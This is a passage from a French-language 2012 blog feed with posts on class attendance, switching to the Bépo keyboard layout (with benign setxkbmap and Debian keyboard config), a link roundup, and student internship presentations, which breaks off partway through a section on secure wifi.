&lt;p&gt;&lt;a href="http://www.lesoir.be/dossiers_speciaux/special1/2012-08-20/rentree-les-bonnes-raisons-de-s-obliger-a-aller-aux-cours-933063.php"&gt;Le soir&lt;/a&gt;
se fend d&amp;rsquo;un article intéressant sur le sujet.&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/pile-livres-infos.png" title="pile-livres-infos.png"&gt;&lt;img alt="pile-livres-infos.png" src="/images/pile-livres-infos.png" title="pile-livres-infos.png, août 2012" width="80%"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Il est possible que dans certaines facultés universitaires certains étudiants puissent s&amp;rsquo;affranchir du cours &lt;strong&gt;sous certaines conditions&lt;/strong&gt;. La plus importante étant de savoir ce que peut apporter la présence au cours. Les &lt;em&gt;bleus&lt;/em&gt; n&amp;rsquo;ont, à mon sens, pas ce recul (ceux qui ont une grande expérience de la première année non plus amha).&lt;/p&gt;
&lt;p&gt;Donc, si vous êtes en première, venez au cours et ne concluez pas trop vite que votre présence pourrait être facultative.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Un jeune qui ne va pas aux cours le fait souvent car il est convaincu que c&amp;rsquo;est la meilleure chose à faire, qu&amp;rsquo;il n&amp;rsquo;y a pas d&amp;rsquo;autre solution », constate Gaëtan Gabriel, coach scolaire.&lt;/p&gt;
&lt;p&gt;« Lorsqu&amp;rsquo;on effectue un travail plus profond, on se rend compte qu&amp;rsquo;en fuyant l&amp;rsquo;école, le jeune cherche à satisfaire l&amp;rsquo;un des cinq besoins fondamentaux : la survie (physique ou psychologique), le pouvoir (« je suis le meilleur dans un domaine »), la liberté, la reconnaissance ou le plaisir.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://www.lesoir.be/dossiers_speciaux/special1/2012-08-20/rentree-les-bonnes-raisons-de-s-obliger-a-aller-aux-cours-933063.php"&gt;l&amp;rsquo;article du Soir&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je suis assez d&amp;rsquo;accord de dire que l&amp;rsquo;absentéisme et le décrochage ne sont pas loin… il faut cependant pouvoir faire la part des choses entre « brosser occasionnellement » et être souvent absent. Dans la pratique, il faut faire très attention que, lorsque l&amp;rsquo;on brosse, le &lt;strong&gt;mauvais pli est très vite pris&lt;/strong&gt; et qu&amp;rsquo;il est difficile de raccrocher. Tout simplement car l&amp;rsquo;on ne se rend pas compte que le prof a bien avancé justement ~~le~~ les jours où je ne suis pas là !&lt;/p&gt;
&lt;p&gt;Le Soir nous livre quelques « trucs » pour &lt;strong&gt;s&amp;rsquo;accrocher&lt;/strong&gt;, j&amp;rsquo;en répète quelques-uns.&lt;/p&gt;
&lt;h3&gt;Rendre son apprentissage intéressant, gai (choisir des études que l&amp;rsquo;on aime avant de choisir « un métier qui rapporte » est une première chose)&lt;/h3&gt;
&lt;p&gt;Travailler en groupes, communiquer, se rencontrer, dessiner plutôt qu&amp;rsquo;écrire, lâcher parfois le &lt;em&gt;laptop&lt;/em&gt; et prendre une feuille de papier, présenter des sujets aux autres…&lt;/p&gt;
&lt;h3&gt;Organiser et bien gérer son calendrier&lt;/h3&gt;
&lt;p&gt;La première chose à bien intégrer, c&amp;rsquo;est que les profs ne vont pas répéter mille fois les dates de remises des travaux . &lt;strong&gt;Notez les&lt;/strong&gt; et ensuite, estimez le temps de travail afin de vous fixer des échéances persos.&lt;/p&gt;
&lt;p&gt;Imposez vos un temps de travail par jour… ainsi qu&amp;rsquo;un temps pour les loisirs et les tâches (ménagères et autres).&lt;/p&gt;
&lt;h3&gt;Avoir un environnement sain&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Ben ouais&lt;/em&gt;… Ça on sait !&lt;/p&gt;
&lt;p&gt;Alors… bonne rentrée à tous.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lesoir.be/dossiers_speciaux/special1/2012-08-20/rentree-les-bonnes-raisons-de-s-obliger-a-aller-aux-cours-933063.php"&gt;Article du Soir&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Bépo… enfin le respect de mes bonnes résolutions !</title><link href="http://blog.namok.be/2012-08-22-bepo-enfin-le-respect-de-mes-bonnes-resolutions.html" rel="alternate"/><published>2012-08-22T00:00:00+02:00</published><updated>2012-08-22T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-08-22:/2012-08-22-bepo-enfin-le-respect-de-mes-bonnes-resolutions.html</id><summary type="html">Pourquoi utiliser une disposition clavier comme Azerty ou Qwerty qui ralentit alors qu'il existe Bépo</summary><content type="html">&lt;p&gt;&lt;img alt="bepo.png" src="/images/bepo.png" title="bepo.png, mai 2015" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Depuis trois ans maintenant, je m&amp;rsquo;intéresse à la &lt;strong&gt;disposition de clavier bépo&lt;/strong&gt; et je ne parvenais pas à franchir le pas. C&amp;rsquo;est une disposition de clavier moderne en ce sens qu&amp;rsquo;elle minimise grandement le mouvement des doigts.&lt;/p&gt;
&lt;p&gt;Anciennement, il était nécessaire d&amp;rsquo;allonger cette distance afin que les barres à caractères des machines à écrire ne se mélangent pas. &lt;strong&gt;Ce temps est révolu&lt;/strong&gt;, tout est électronique ! L&amp;rsquo;important aujourd&amp;rsquo;hui est de « taper vite »… et de ne pas / plus se faire mal (cette disposition devrait permettre aux personnes souffrant de « &lt;em&gt;mouse elbow&lt;/em&gt; » d&amp;rsquo;avoir moins mal).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;C&amp;rsquo;est donc décidé, on y va !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="/images//carte-bepo-complete.png" title="carte-bepo-complete.png"&gt;&lt;img alt="carte-bepo-complete.png" src="/images/carte-bepo-complete.png" title="carte-bepo-complete.png, août 2012" width="70%"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Source &lt;a href="http://bepo.fr/wiki/Accueil"&gt;http://bepo.fr/wiki/Accueil&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Installation&lt;/h4&gt;
&lt;p&gt;&lt;a href="http://bepo.fr/wiki/Installation"&gt;Comme annonçé&lt;/a&gt;, les commandes suivantes permettent de passer respectivement de la disposition de clavier « azerty belge » à «bépo» &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et inversement de manière temporaire.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;setxkbmap&lt;span class="w"&gt; &lt;/span&gt;fr&lt;span class="w"&gt; &lt;/span&gt;bepo
setxkbmap&lt;span class="w"&gt; &lt;/span&gt;be
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sous debian, éditer le fichier &lt;code&gt;/etc/default/keyboard&lt;/code&gt; et y modifier la disposition du clavier comme suit permet de passer « définitivement » en &lt;strong&gt;bépo&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;XKBMODEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pc105&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;XKBLAYOUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;fr&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;XKBVARIANT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bepo&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;XKBOPTIONS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;compose:lwin&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Premières semaines&lt;/h4&gt;
&lt;p&gt;Comme le conseille &lt;a href="http://ploum.net/post/216-le-bepo-sur-le-bout-des-doigts"&gt;Ploum&lt;/a&gt;, j&amp;rsquo;utilise &lt;a href="http://klavaro.sourceforge.net/en/"&gt;Klavaro&lt;/a&gt; comme logiciel d&amp;rsquo;apprentissage… j&amp;rsquo;arrive gentiment à la leçon 30 sans trop de difficultés en m&amp;rsquo;y consacrant un peu (quelques minutes) tous les jours.&lt;/p&gt;
&lt;p&gt;Après quelques semaines passées avec klavaro, je choisis définitivement « bépo » comme disposition de clavier afin (d&amp;rsquo;essayer) de m&amp;rsquo;abstraire de « l&amp;rsquo;azerty » et de progresser plus vite.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est assez impressionnant comme tout se passe sur la ligne du milieu (ou presque)… ce qui impose de taper à dix doigts. En effet, comme les mouvements des doigts sont minimisés, les touches sont souvent cachées.&lt;/p&gt;
&lt;h4&gt;Un peu plus tard…&lt;/h4&gt;
&lt;p&gt;Je suis actuellement d&amp;rsquo;une lenteur incroyable ! J&amp;rsquo;ai fait un bond de dix ans en arrière en vitesse de frappe.  &lt;strong&gt;Je suis dans ma phase de découragement&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Après 3 semaines d&amp;rsquo;apprentissage, je constate le peu de progrès. Je viens de &lt;a href="http://clavier-azerty.com/claviersextras.html"&gt;coller les lettres sur le clavier&lt;/a&gt; et je constate que c&amp;rsquo;est assez peu utile lorsque l&amp;rsquo;on essaie de taper à 10 doigts. Il faut vraiment laisser le temps d&amp;rsquo;intégrer la disposition… Il est très important de savoir que la disposition bépo &lt;strong&gt;impose de taper à l&amp;rsquo;aveugle pour être efficace&lt;/strong&gt;… et ça, c&amp;rsquo;est pas encore gagné !&lt;/p&gt;
&lt;p&gt;&lt;img alt="bepo-seccotine.png" src="/images/bepo-seccotine.jpg" title="bepo-seccotine.png, sept. 2012" width="100%"&gt;&lt;/p&gt;
&lt;h4&gt;Encore plus tard…&lt;/h4&gt;
&lt;p&gt;Je publie enfin ce billet… et ça me prend un temps bête ;-). Pour l&amp;rsquo;instant, je n&amp;rsquo;utilise plus Klavaro &lt;em&gt;because&lt;/em&gt; manque de temps (devant le pc) pendant les vacances. Ça me fait un peu peur pour la rentrée et ça change pas mal ma manière de communiquer mais je reste motivé !&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cette semaine sera particulièrement asociale pour votre vie en ligne : presque pas de chat possible, réponses laconiques aux mails reçus. De manière amusante, vous constaterez que vous réfléchissez à des formulations plus courtes, que vous optimisez le copier/coller.&lt;/p&gt;
&lt;p&gt;Ploum&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je constate que c&amp;rsquo;est toujours mieux lorsque je me concentre pour écrire vraiment à l&amp;rsquo;aveugle… même si je me surprend encore à « tricher » sur ma « carte imprimée ».&lt;/p&gt;
&lt;p&gt;Pour &lt;strong&gt;conclure&lt;/strong&gt;, je vous conseille vraiment de faire le pas si vous écrivez beaucoup… sans négliger le temps d&amp;rsquo;apprentissage.&lt;/p&gt;
&lt;h4&gt;Remarques&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Le caractère « barre de soulignement » &lt;code&gt;_&lt;/code&gt; se fait grâce à la combinaison &lt;code&gt;[AltGr Space]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Et l&amp;rsquo;on peut facilement faire:&lt;ul&gt;
&lt;li&gt;le tiret &lt;code&gt;-&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;le signe « moins », soustraction mathématique &lt;code&gt;−&lt;/code&gt;, &lt;code&gt;[AltGr 8]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;le « tiret demi cadratin », quasi jamais utilisé &lt;code&gt;–&lt;/code&gt;, &lt;code&gt;[AltGr $]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;le « tiret cadratin », pour les dialogues &lt;code&gt;—&lt;/code&gt;, &lt;code&gt;[AltGr 1]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://fr.wikipedia.org/wiki/Machine_%C3%A0_%C3%A9crire"&gt;Machines à écrire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ploum.net/post/216-le-bepo-sur-le-bout-des-doigts"&gt;Ploum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bepo.fr"&gt;Site officiel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bepo.fr/wiki/Manuel"&gt;Bon usage des caractères&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://klavaro.sourceforge.net/en/"&gt;Klavaro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://clavier-azerty.com/claviersextras.html"&gt;Autocollants pour clavier&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Lorsque l&amp;rsquo;on parle de « bépo », il s&amp;rsquo;agit bien d&amp;rsquo;une disposition « à la &lt;strong&gt;dvorak&lt;/strong&gt; » mais qui &lt;a href="http://fr.wikipedia.org/wiki/Disposition_Dvorak#Dvorak-fr"&gt;diffère&lt;/a&gt; de la disposition &lt;em&gt;dvorak fr&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #10</title><link href="http://blog.namok.be/2012-06-26-vrac-10.html" rel="alternate"/><published>2012-06-26T00:00:00+02:00</published><updated>2012-06-26T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-06-26:/2012-06-26-vrac-10.html</id><summary type="html">Démineur à gratter et autres jeux</summary><content type="html">&lt;p&gt;Je suis de la génération « démineur », j&amp;rsquo;ai joué des millions d&amp;rsquo;heures
(particulièrement lorsqu&amp;rsquo;il n&amp;rsquo;y avait pas tennis pendant les examens)… j&amp;rsquo;ai maintenant la possibilité &lt;a href="http://geeko.lesoir.be/2012/06/11/le-jeu-demineur-porte-sur-cartes/"&gt;d&amp;rsquo;acheter le « démineur à gratter
»&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="scratch-mine.jpg" src="/images/scratch-mine.jpg" title="scratch-mine.jpg, juin 2012" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Il semblerait que &lt;a href="http://www.youtube.com/watch?v=b_B631gMhkI"&gt;Myriam Leroy n&amp;rsquo;aime pas le foot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il aura fallut du temps, cependant, &lt;strong&gt;Skype&lt;/strong&gt; est dispo pour Linux en version 4.0&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. &lt;a href="http://www.skype.com/intl/en/get-skype/on-your-computer/linux/"&gt;Ça se download&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Korben propose dans ses liens le site &lt;a href="http://croppola.com/"&gt;Croppola&lt;/a&gt; pour &lt;em&gt;cropper&lt;/em&gt; automatiquement des photos. Je trouve que l&amp;rsquo;aspect &lt;em&gt;automatique&lt;/em&gt; n&amp;rsquo;est pas au point. Sur les 15 images que j&amp;rsquo;ai uploadées, je dois régler à la main 5 d&amp;rsquo;entre elles :-(&lt;/p&gt;
&lt;p&gt;Pour bien commencer les vacances, un jeu flash, &lt;em&gt;aka&lt;/em&gt; &lt;a href="http://www.dampgnat.com/wonderputt"&gt;Wonderputt&lt;/a&gt; (ça ne s&amp;rsquo;invente pas comme bête nom)… il y aussi &lt;a href="http://www.dampgnat.com/microputt"&gt;Microputt&lt;/a&gt; pour ceux qui préfère… et on peut l&amp;rsquo;&lt;a href="http://www.dampgnat.com/microputtfaq"&gt;héberger sur son propre site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Allez, on termine par une idée de porte clé &lt;a href="http://feedproxy.google.com/~r/KorbensBlog-UpgradeYourMind/~3/STU-NuXjLfY/porte-cle-lego.html"&gt;from Légo&lt;/a&gt; (cherchez l&amp;rsquo;intrus sur l&amp;rsquo;image).&lt;/p&gt;
&lt;p&gt;&lt;img alt="portecle-lego.jpg" src="/images/portecle-lego.jpg" title="portecle-lego.jpg, juin 2012" width="100%"&gt;&lt;/p&gt;
&lt;h4&gt;Sources&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://korben.info"&gt;Korben&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://geeko.lesoir.be/2012/06/11/le-jeu-demineur-porte-sur-cartes/"&gt;Geeko, le soir&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.rtbf.be/purefm/"&gt;Pure fm et Myriam Leroy n&amp;rsquo;aime pas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.phoronix.com/scan.php?page=news_item&amp;amp;px=MTExOTk"&gt;Phoronix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://skype.com"&gt;Skype&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.dampgnat.com"&gt;Jeux flash chez Dampgnat&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2012-04-26-vrac-9.html"&gt;Vrac #9&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2012-02-07-vrac-8.html"&gt;Vrac #8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-11-24-vrac-7.html"&gt;Vrac #7&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;en suis à la version 2.1 mais bon, j&amp;rsquo;utilise pas. D&amp;rsquo;ailleurs, je ne retrouve pas mon mot de passe \^\^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Stages #2</title><link href="http://blog.namok.be/2012-06-25-stages-2.html" rel="alternate"/><published>2012-06-25T00:00:00+02:00</published><updated>2012-06-25T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-06-25:/2012-06-25-stages-2.html</id><summary type="html">Petit compte rendu des présentations de stages</summary><content type="html">&lt;p&gt;L&amp;rsquo;an dernier, j&amp;rsquo;ai commencé à parler de nos stages de fin d&amp;rsquo;année dans un billet intitulé: « &lt;a href="2011-06-20-Presentation-de-stages-et-autres-jurys.html"&gt;Présentation de stages et autres jurys&lt;/a&gt; »… j&amp;rsquo;aurai pu l&amp;rsquo;appeler &lt;em&gt;stages #1&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;aime faire un (très) petit compte-rendu des présentations de stages qui se sont déroulées, les 14,15, 18 et 19juin 2012. Ce compte-rendu est l&amp;rsquo;occasion pour moi de prendre de la distance face au taux d&amp;rsquo;échec en première…&lt;/p&gt;
&lt;p&gt;Les différents stages peuvent être regroupés en quelques catégories; les stages industriels, les stages &lt;em&gt;web&lt;/em&gt;, les stages orientés réseaux et administration et les stages de gestion.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(Avertissement. Comme j&amp;rsquo;ai été un peu malade, je n&amp;rsquo;ai finalement pas participé à &lt;/em&gt;&lt;em&gt;toutes&lt;/em&gt;&lt;em&gt; les présentations et, parmi celles auxquelles j&amp;rsquo;ai participé, je n&amp;rsquo;en citerai que quelques unes… que les étudiants me pardonnent car le but n&amp;rsquo;est pas d&amp;rsquo;être exhaustif.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="stagiaire.jpg" src="/images/stagiaire.jpg" title="stagiaire.jpg, juin 2012" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Source &lt;a href="http://jnchaintreuil.com/si-toi-aussi-tu-veux-etre-un-stagiaire-paye-6-229-tape-dans-tes-mains/"&gt;au hasard du web&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Les stages industriels&lt;/h3&gt;
&lt;p&gt;J&amp;rsquo;ai retenu trois stages en informatique industrielle; le &lt;em&gt;jet d&amp;rsquo;eau&lt;/em&gt;, la détection de couleurs et le &lt;em&gt;placement de machines&lt;/em&gt;.&lt;/p&gt;
&lt;h5&gt;Le jet d&amp;rsquo;eau&lt;/h5&gt;
&lt;p&gt;Un premier étudiant s&amp;rsquo;est intéressé à l&amp;rsquo;interface utilisateur naturelle, &lt;strong&gt;&lt;em&gt;natural user interface&lt;/em&gt;&lt;/strong&gt; (&lt;a href="http://en.wikipedia.org/wiki/Natural_user_interface"&gt;Wikipedia&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée est de s&amp;rsquo;aider d&amp;rsquo;une caméra pour capter les mouvements de l&amp;rsquo;utilisateur et de faire bouger le jet d&amp;rsquo;eau d&amp;rsquo;une fontaine en fonction de ces mouvements. La société voudrait placer dans un hall d&amp;rsquo;hôtel, par exemple, une fontaine et un petit écran. Lorsqu&amp;rsquo;une personne passe devant la caméra, elle a la possibilité de « danser » devant le jet d&amp;rsquo;eau… et le jet d&amp;rsquo;eau suit le mouvement. Drôle et stage intéressant.&lt;/p&gt;
&lt;h5&gt;La détection de couleurs&lt;/h5&gt;
&lt;p&gt;Le second s&amp;rsquo;est intéressé à la détection de couleurs dans un flux vidéo. L&amp;rsquo;idée étant de permettre de tester « en temps réel » la réactivité d&amp;rsquo;une salle. Chaque participant a deux feuilles de couleurs différentes et l&amp;rsquo;application est capable de, continuellement, déterminer le pourcentage de feuille vertes levées et le pourcentage de feuille rouges levées. L&amp;rsquo;application pourra permettre de chouettes
trucs… par exemple; demander à une foule de diriger un bateau en levant ses feuilles de couleurs…&lt;/p&gt;
&lt;h5&gt;Le placement de machines&lt;/h5&gt;
&lt;p&gt;Le troisième stage industriel que je retiens n&amp;rsquo;est pas ludique du tout et se situe &lt;strong&gt;dans&lt;/strong&gt; l&amp;rsquo;industrie. L&amp;rsquo;idée est de faire une interface graphique pour un moteur (existant) de placement de machines en milieu industriel. Le moteur va permettre de minimiser les déplacements de l&amp;rsquo;opérateur&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et de proposer un placement des machines optimal en fonction de leur usage… l&amp;rsquo;interface graphique proposée et les résultats obtenus sont assez intéressants.&lt;/p&gt;
&lt;h3&gt;Les stages &lt;em&gt;web&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;J&amp;rsquo;appelle « stage web », un stage pour lequel on demande à nos étudiants d&amp;rsquo;écrire une application web, un ou plusieurs &lt;em&gt;web service&lt;/em&gt;, ou encore, l&amp;rsquo;ajout de fonctionnalités à un site web.&lt;/p&gt;
&lt;p&gt;Pour commencer, le langage évolue et l&amp;rsquo;on parle à tort et à travers de réseau social. Je constate que ce vocable regroupe tous les sites web pour lesquels, « il faut s&amp;rsquo;authentifier et où il est possible d&amp;rsquo;avoir un groupe d&amp;rsquo;amis ». Pour moi, le réseau est social lorsqu&amp;rsquo;il favorise vraiment les interactions entre les membres.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on peut passer assez vite sur les étudiants qui ont du intégrer &lt;a href="http://twitter.com"&gt;Twitter&lt;/a&gt; et &lt;a href="http://facebook"&gt;Facebook&lt;/a&gt; à divers sites (en permettant, par exemple, l&amp;rsquo;authentification via Twitter ou FB), je m&amp;rsquo;arrêterai sur un site « social » permettant l&amp;rsquo;échange d&amp;rsquo;objet. Ce projet, pas spécialement novateur, utilise &lt;a href="http://google.com"&gt;Google&lt;/a&gt; comme hébergeur. Google ne propose pas l&amp;rsquo;hébergement comme &lt;a href="http://ovh.com"&gt;ovh&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Sa proposition s&amp;rsquo;appelle &lt;strong&gt;&lt;a href="https://developers.google.com/appengine/"&gt;Google app engine&lt;/a&gt;&lt;/strong&gt; que je ne connaissais absolument pas. Cette proposition d&amp;rsquo;hébergement se distingue très fort des autres offres…&lt;/p&gt;
&lt;p&gt;Le &lt;strong&gt;principal avantage&lt;/strong&gt; de l&amp;rsquo;offre est, outre la disponibilité du service, la possibilité de changement d&amp;rsquo;échelle (&lt;em&gt;scale&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://developers.google.com/appengine"&gt;Google app engine&lt;/a&gt;&lt;/strong&gt; permet au site de réagir à une soudaine montée en charge et permet au webmaster de s&amp;rsquo;abstraire complètement des contraintes de machines… Si, soudain, j&amp;rsquo;ai besoin de beaucoup de temps processeur et de beaucoup de bande passante, Google est d&amp;rsquo;accord de me la ~~donner~~ vendre le temps nécessaire. C&amp;rsquo;est vraiment pratique pour un site qui va devoir subir de grosses montées en puissance et… pour lequel ses montées en
puissances sont ponctuelles.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;En temps normal, je paie peu mon site car il a besoin de peu de ressource. Le jour où j&amp;rsquo;ai besoin de plus, Google me les fournit au prorata de la somme que j&amp;rsquo;ai décidé d&amp;rsquo;y consacrer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;À cet énorme avantage sont associés quelques &lt;strong&gt;désagréments&lt;/strong&gt;;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Je n&amp;rsquo;ai pas d&amp;rsquo;accès ftp, je n&amp;rsquo;ai même pas d&amp;rsquo;accès au &lt;em&gt;file system&lt;/em&gt; tout le site doit se coder à partir du sdk de Google et c&amp;rsquo;est via ce sdk que je met le site en ligne… et je ne sais pas où. Tout est pris en charge par Google sans que je n&amp;rsquo;ai la main sur rien.&lt;/li&gt;
&lt;li&gt;Cette proposition est payante (c&amp;rsquo;est normal) mais le coût se calcule en terme de pocessus, de bande passante, d&amp;rsquo;instructions… et il faut comprendre exactement le mode de fonctionnement de Google pour contrôler ce que l&amp;rsquo;on va exactement payer&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.Ce n&amp;rsquo;est pas aussi simple que; un espace sur le &lt;em&gt;file system&lt;/em&gt; et une bande passante autorisée… chez Google tout se paie et tout se contrôle&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;Je dois prendre en main le sdk de Google avant de pouvoir créer un site web, pas de &lt;em&gt;php&lt;/em&gt; par exemple mais du &lt;a href="http://java.oracle.com"&gt;Java&lt;/a&gt;, &lt;a href="http://python.org"&gt;Python&lt;/a&gt; ou du &lt;a href="http://golang.org"&gt;Go&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… bref une autre manière de voir les choses qui pourra s&amp;rsquo;avérer utile pour des &lt;strong&gt;parties&lt;/strong&gt; de sites web. Sites web qui devront subir soudain, une forte charge… et qui pourront donc bénéficier des &lt;em&gt;datacenter&lt;/em&gt; de Google.&lt;/p&gt;
&lt;p&gt;À ces stages &lt;em&gt;web&lt;/em&gt; viennent se greffer tous les stages &lt;em&gt;iPad&lt;/em&gt; et autres tablettes. La mode est de proposer une application &lt;em&gt;tablet&lt;/em&gt; et nos étudiants n&amp;rsquo;y échappent pas. Parmi plusieurs, je cite une application permettant le &lt;strong&gt;suivi de chantier&lt;/strong&gt;; je (un architecte par exemple) me rend sur le chantier et je peux, via l&amp;rsquo;application,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;prendre des photos de défauts de construction,&lt;/li&gt;
&lt;li&gt;écrire un commentaire,&lt;/li&gt;
&lt;li&gt;faire un rapide schéma&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… pour une pièce donnée située sur le plan (également visible dans l&amp;rsquo;application)&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas une application &lt;em&gt;stand alone&lt;/em&gt; puisqu&amp;rsquo;elle est associée à un site web permettant le suivi dudit chantier.&lt;/p&gt;
&lt;h3&gt;Les stages orientés réseaux et administration&lt;/h3&gt;
&lt;p&gt;Le stage que j&amp;rsquo;ai retenu dans ce domaine est un stage visant à la &lt;strong&gt;mise en place d&amp;rsquo;un réseau wifi sécurisé&lt;/strong&gt;. L&amp;rsquo;existant consistait en un ensemble de points d&amp;rsquo;accès wifi répartis dans tout le bâtiment. Chaque point d&amp;rsquo;accès était affublé d&amp;rsquo;un SSID&lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; différent et le mot de passe &lt;em&gt;guest&lt;/em&gt; était connu de tous.&lt;/p&gt;
